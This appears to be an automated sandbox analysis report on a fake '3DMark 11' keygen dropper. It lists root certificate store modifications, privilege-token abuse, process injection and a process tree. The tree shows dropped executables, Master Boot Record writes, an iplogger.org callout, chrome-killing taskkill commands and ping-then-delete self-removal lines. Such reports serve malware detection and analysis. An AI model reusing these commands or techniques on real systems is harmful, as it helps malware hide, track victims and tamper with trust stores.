e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd A976.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868 A976.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d5503000000010000001400000002faf3e291435468607857694df5e45b6885186820000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604 A976.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E A976.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0400000001000000100000001bfe69d191b71933a372a80fe155e5b50f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e190000000100000010000000ea6089055218053dd01e37e1d806eedf2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd A976.exe -
Runs ping.exe 1 TTPs 5 IoCs
Processes:
PING.EXEPING.EXEPING.EXEPING.EXEPING.EXEpid process 1748 PING.EXE 4196 PING.EXE 2336 PING.EXE 1044 PING.EXE 2948 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
1605715548739.exe1605715553192.exe1605715558348.exejfiag3g_gg.exe1605715561348.exe1021C014A4C9A552.tmpseed.exepid process 4740 1605715548739.exe 4740 1605715548739.exe 4556 1605715553192.exe 4556 1605715553192.exe 4756 1605715558348.exe 4756 1605715558348.exe 4488 jfiag3g_gg.exe 4488 jfiag3g_gg.exe 4468 1605715561348.exe 4468 1605715561348.exe 4820 1021C014A4C9A552.tmp 4820 1021C014A4C9A552.tmp 2384 seed.exe 2384 seed.exe 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 2552 -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
MicrosoftEdgeCP.exeseed.exeD3A9.exepid process 2328 MicrosoftEdgeCP.exe 2384 seed.exe 2252 D3A9.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
jg2_2qua.exemsiexec.exemsiexec.exedescription pid process Token: SeManageVolumePrivilege 4260 jg2_2qua.exe Token: SeManageVolumePrivilege 4260 jg2_2qua.exe Token: SeShutdownPrivilege 2144 msiexec.exe Token: SeIncreaseQuotaPrivilege 2144 msiexec.exe Token: SeSecurityPrivilege 4192 msiexec.exe Token: SeCreateTokenPrivilege 2144 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2144 msiexec.exe Token: SeLockMemoryPrivilege 2144 msiexec.exe Token: SeIncreaseQuotaPrivilege 2144 msiexec.exe Token: SeMachineAccountPrivilege 2144 msiexec.exe Token: SeTcbPrivilege 2144 msiexec.exe Token: SeSecurityPrivilege 2144 msiexec.exe Token: SeTakeOwnershipPrivilege 2144 msiexec.exe Token: SeLoadDriverPrivilege 2144 msiexec.exe Token: SeSystemProfilePrivilege 2144 msiexec.exe Token: SeSystemtimePrivilege 2144 msiexec.exe Token: SeProfSingleProcessPrivilege 2144 msiexec.exe Token: SeIncBasePriorityPrivilege 2144 msiexec.exe Token: SeCreatePagefilePrivilege 2144 msiexec.exe Token: SeCreatePermanentPrivilege 2144 msiexec.exe Token: SeBackupPrivilege 2144 msiexec.exe Token: SeRestorePrivilege 2144 msiexec.exe Token: SeShutdownPrivilege 2144 msiexec.exe Token: SeDebugPrivilege 2144 msiexec.exe Token: SeAuditPrivilege 2144 msiexec.exe Token: SeSystemEnvironmentPrivilege 2144 msiexec.exe Token: SeChangeNotifyPrivilege 2144 msiexec.exe Token: SeRemoteShutdownPrivilege 2144 msiexec.exe Token: SeUndockPrivilege 2144 msiexec.exe Token: SeSyncAgentPrivilege 2144 msiexec.exe Token: SeEnableDelegationPrivilege 2144 msiexec.exe Token: SeManageVolumePrivilege 2144 msiexec.exe Token: SeImpersonatePrivilege 2144 msiexec.exe Token: SeCreateGlobalPrivilege 2144 msiexec.exe Token: SeCreateTokenPrivilege 2144 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2144 msiexec.exe Token: SeLockMemoryPrivilege 2144 msiexec.exe Token: SeIncreaseQuotaPrivilege 2144 msiexec.exe Token: SeMachineAccountPrivilege 2144 msiexec.exe Token: SeTcbPrivilege 2144 msiexec.exe Token: SeSecurityPrivilege 2144 msiexec.exe Token: SeTakeOwnershipPrivilege 2144 msiexec.exe Token: SeLoadDriverPrivilege 2144 msiexec.exe Token: SeSystemProfilePrivilege 2144 msiexec.exe Token: SeSystemtimePrivilege 2144 msiexec.exe Token: SeProfSingleProcessPrivilege 2144 msiexec.exe Token: SeIncBasePriorityPrivilege 2144 msiexec.exe Token: SeCreatePagefilePrivilege 2144 msiexec.exe Token: SeCreatePermanentPrivilege 2144 msiexec.exe Token: SeBackupPrivilege 2144 msiexec.exe Token: SeRestorePrivilege 2144 msiexec.exe Token: SeShutdownPrivilege 2144 msiexec.exe Token: SeDebugPrivilege 2144 msiexec.exe Token: SeAuditPrivilege 2144 msiexec.exe Token: SeSystemEnvironmentPrivilege 2144 msiexec.exe Token: SeChangeNotifyPrivilege 2144 msiexec.exe Token: SeRemoteShutdownPrivilege 2144 msiexec.exe Token: SeUndockPrivilege 2144 msiexec.exe Token: SeSyncAgentPrivilege 2144 msiexec.exe Token: SeEnableDelegationPrivilege 2144 msiexec.exe Token: SeManageVolumePrivilege 2144 msiexec.exe Token: SeImpersonatePrivilege 2144 msiexec.exe Token: SeCreateGlobalPrivilege 2144 msiexec.exe Token: SeCreateTokenPrivilege 2144 msiexec.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
msiexec.exe1021C014A4C9A552.tmppid process 2144 msiexec.exe 4820 1021C014A4C9A552.tmp -
Suspicious use of SetWindowsHookEx 26 IoCs
Processes:
keygen-step-2.exe002.exeSetup.exesetup.exealiens.exe1A27AE19C9E414DC.exe1A27AE19C9E414DC.exefirefox.exe1605715548739.exefirefox.exe1605715553192.exefirefox.exe1605715558348.exefirefox.exe1605715561348.exeThunderFW.exeMiniThunderPlatform.exe1021C014A4C9A552.exe1021C014A4C9A552.tmpseed.sfx.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeBD40.exepid process 1588 keygen-step-2.exe 4732 002.exe 4732 002.exe 2364 Setup.exe 3960 setup.exe 3932 aliens.exe 4404 1A27AE19C9E414DC.exe 3472 1A27AE19C9E414DC.exe 4584 firefox.exe 4740 1605715548739.exe 4528 firefox.exe 4556 1605715553192.exe 2528 firefox.exe 4756 1605715558348.exe 1392 firefox.exe 4468 1605715561348.exe 4480 ThunderFW.exe 4352 MiniThunderPlatform.exe 5000 1021C014A4C9A552.exe 4820 1021C014A4C9A552.tmp 5084 seed.sfx.exe 1840 MicrosoftEdge.exe 2328 MicrosoftEdgeCP.exe 2328 MicrosoftEdgeCP.exe 2480 BD40.exe 2480 BD40.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
3DMark 11 Advanced Edition.execmd.exekeygen-step-3.exekeygen-pr.exekeygen-step-4.exekey.execmd.exekeygen-step-2.execmd.exeSetup.exesetup.exealiens.exemsiexec.exeaskinstall21.exedescription pid process target process PID 4764 wrote to memory of 416 4764 3DMark 11 Advanced Edition.exe cmd.exe PID 4764 wrote to memory of 416 4764 3DMark 11 Advanced Edition.exe cmd.exe PID 4764 wrote to memory of 416 4764 3DMark 11 Advanced Edition.exe cmd.exe PID 416 wrote to memory of 388 416 cmd.exe intro.exe PID 416 wrote to memory of 388 416 cmd.exe intro.exe PID 416 wrote to memory of 388 416 cmd.exe intro.exe PID 416 wrote to memory of 1136 416 cmd.exe keygen-pr.exe PID 416 wrote to memory of 1136 416 cmd.exe keygen-pr.exe PID 416 wrote to memory of 1136 416 cmd.exe keygen-pr.exe PID 416 wrote to memory of 1260 416 cmd.exe keygen-step-1.exe PID 416 wrote to memory of 1260 416 cmd.exe keygen-step-1.exe PID 416 wrote to memory of 1260 416 cmd.exe keygen-step-1.exe PID 416 wrote to memory of 1588 416 cmd.exe keygen-step-2.exe PID 416 wrote to memory of 1588 416 cmd.exe keygen-step-2.exe PID 416 wrote to memory of 1588 416 cmd.exe keygen-step-2.exe PID 416 wrote to memory of 2896 416 cmd.exe keygen-step-3.exe PID 416 wrote to memory of 2896 416 cmd.exe keygen-step-3.exe PID 416 wrote to memory of 2896 416 cmd.exe keygen-step-3.exe PID 2896 wrote to memory of 4516 2896 keygen-step-3.exe cmd.exe PID 2896 wrote to memory of 4516 2896 keygen-step-3.exe cmd.exe PID 2896 wrote to memory of 4516 2896 keygen-step-3.exe cmd.exe PID 1136 wrote to memory of 4640 1136 keygen-pr.exe key.exe PID 1136 wrote to memory of 4640 1136 keygen-pr.exe key.exe PID 1136 wrote to memory of 4640 1136 keygen-pr.exe key.exe PID 416 wrote to memory of 4572 416 cmd.exe keygen-step-4.exe PID 416 wrote to memory of 4572 416 cmd.exe keygen-step-4.exe PID 416 wrote to memory of 4572 416 cmd.exe keygen-step-4.exe PID 4572 wrote to memory of 4732 4572 keygen-step-4.exe 002.exe PID 4572 wrote to memory of 4732 4572 keygen-step-4.exe 002.exe PID 4572 wrote to memory of 4732 4572 keygen-step-4.exe 002.exe PID 4640 wrote to memory of 2340 4640 key.exe key.exe PID 4640 wrote to memory of 2340 4640 key.exe key.exe PID 4640 wrote to memory of 2340 4640 key.exe key.exe PID 4516 wrote to memory of 2336 4516 cmd.exe PING.EXE PID 4516 wrote to memory of 2336 4516 cmd.exe PING.EXE PID 4516 wrote to memory of 2336 4516 cmd.exe PING.EXE PID 4572 wrote to memory of 2364 4572 keygen-step-4.exe Setup.exe PID 4572 wrote to memory of 2364 4572 keygen-step-4.exe Setup.exe PID 4572 wrote to memory of 2364 4572 keygen-step-4.exe Setup.exe PID 1588 wrote to memory of 2352 1588 keygen-step-2.exe cmd.exe PID 1588 wrote to memory of 2352 1588 keygen-step-2.exe cmd.exe PID 1588 wrote to memory of 2352 1588 keygen-step-2.exe cmd.exe PID 2352 wrote to memory of 1044 2352 cmd.exe PING.EXE PID 2352 wrote to memory of 1044 2352 cmd.exe PING.EXE PID 2352 wrote to memory of 1044 2352 cmd.exe PING.EXE PID 2364 wrote to memory of 3960 2364 Setup.exe setup.exe PID 2364 wrote to memory of 3960 2364 Setup.exe setup.exe PID 2364 wrote to memory of 3960 2364 Setup.exe setup.exe PID 3960 wrote to memory of 3932 3960 setup.exe aliens.exe PID 3960 wrote to memory of 3932 3960 setup.exe aliens.exe PID 3960 wrote to memory of 3932 3960 setup.exe aliens.exe PID 4572 wrote to memory of 4260 4572 keygen-step-4.exe jg2_2qua.exe PID 4572 wrote to memory of 4260 4572 keygen-step-4.exe jg2_2qua.exe PID 4572 wrote to memory of 4260 4572 keygen-step-4.exe jg2_2qua.exe PID 3932 wrote to memory of 2144 3932 aliens.exe msiexec.exe PID 3932 wrote to memory of 2144 3932 aliens.exe msiexec.exe PID 3932 wrote to memory of 2144 3932 aliens.exe msiexec.exe PID 4192 wrote to memory of 4128 4192 msiexec.exe MsiExec.exe PID 4192 wrote to memory of 4128 4192 msiexec.exe MsiExec.exe PID 4192 wrote to memory of 4128 4192 msiexec.exe MsiExec.exe PID 4572 wrote to memory of 4828 4572 keygen-step-4.exe askinstall21.exe PID 4572 wrote to memory of 4828 4572 keygen-step-4.exe askinstall21.exe PID 4572 wrote to memory of 4828 4572 keygen-step-4.exe askinstall21.exe PID 4828 wrote to memory of 4840 4828 askinstall21.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\3DMark 11 Advanced Edition.exe"C:\Users\Admin\AppData\Local\Temp\3DMark 11 Advanced Edition.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\intro.exeintro.exe 1O5ZF3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exekeygen-step-2.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.15⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\002.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\002.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\sib323E.tmp\0\setup.exe"C:\Users\Admin\AppData\Local\Temp\sib323E.tmp\0\setup.exe" -s5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\9ku5npt6tedk\aliens.exe"C:\Program Files (x86)\9ku5npt6tedk\aliens.exe"6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"7⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exeC:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exe 0011 installp17⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"8⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\1605715548739.exe"C:\Users\Admin\AppData\Roaming\1605715548739.exe" /sjson "C:\Users\Admin\AppData\Roaming\1605715548739.txt"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"8⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\1605715553192.exe"C:\Users\Admin\AppData\Roaming\1605715553192.exe" /sjson "C:\Users\Admin\AppData\Roaming\1605715553192.txt"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"8⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\1605715558348.exe"C:\Users\Admin\AppData\Roaming\1605715558348.exe" /sjson "C:\Users\Admin\AppData\Roaming\1605715558348.txt"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"8⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\1605715561348.exe"C:\Users\Admin\AppData\Roaming\1605715561348.exe" /sjson "C:\Users\Admin\AppData\Roaming\1605715561348.txt"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP8⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\1021C014A4C9A552.exeC:\Users\Admin\AppData\Local\Temp\1021C014A4C9A552.exe /silent8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-P7MJL.tmp\1021C014A4C9A552.tmp"C:\Users\Admin\AppData\Local\Temp\is-P7MJL.tmp\1021C014A4C9A552.tmp" /SL5="$40196,761193,121344,C:\Users\Admin\AppData\Local\Temp\1021C014A4C9A552.exe" /silent9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\RearRips\seed.sfx.exe"C:\Program Files (x86)\RearRips\seed.sfx.exe" -pK2j8l614 -s110⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"11⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/14Ahe7"10⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exe"8⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 39⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exeC:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exe 200 installp17⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe9⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\1A27AE19C9E414DC.exe"8⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 39⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Program Files (x86)\9ku5npt6tedk\aliens.exe"7⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 38⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg2_2qua.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\jg2_2qua.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall21.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall21.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
